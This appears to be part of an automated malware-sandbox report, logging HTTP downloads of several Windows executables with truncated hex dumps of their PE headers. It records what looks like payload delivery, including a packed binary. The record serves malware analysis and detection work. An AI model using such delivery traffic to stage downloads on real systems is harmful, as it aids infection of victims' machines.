00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 11:57:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 11:57:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 11:57:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 11:57:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 11:57:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 11:58:00 GMTContent-Type: application/octet-streamContent-Length: 1863680Last-Modified: Wed, 20 Nov 2024 11:16:07 GMTConnection: keep-aliveETag: "673dc4f7-1c7000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4a 00 00 04 00 00 8c 78 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 68 71 75 63 6e 70 72 00 60 19 00 00 b0 30 00 00 52 19 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6f 61 61 74 6c 6e 69 00 10 00 00 00 10 4a 00 00 04 00 00 00 4a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4a 00 00 22 00 00 00 4e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Wed, 20 Nov 2024 11:59:07 GMTContent-Type: application/octet-streamContent-Length: 758801Connection: keep-aliveLast-Modified: Mon, 18 Nov 2024 10:39:38 GMTETag: "673b196a-b9411"X-Frame-Options: SAMEORIGINX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 da e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 6e 00 00 00 70 07 00 00 42 00 00 83 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 00 10 00 00 04 00 00 fc f5 0b 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b 00 00 b4 00 00 00 00 40 0f 00 5e ab 00 00 00 00 00 00 00 00 00 00 89 6b 0b 00 88 28 00 00 00 a0 07 00 64 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae 6d 00 00 00 10 00 00 00 6e 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 62 2a 00 00 00 80 00 00 00 2c 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 7e 06 00 00 b0 00 00 00 02 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 08 00 00 30 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 5e ab 00 00 00 40 0f 00 00 ac 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 32 0f 00 00 00 f0 0f 00 00 10 00 00 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
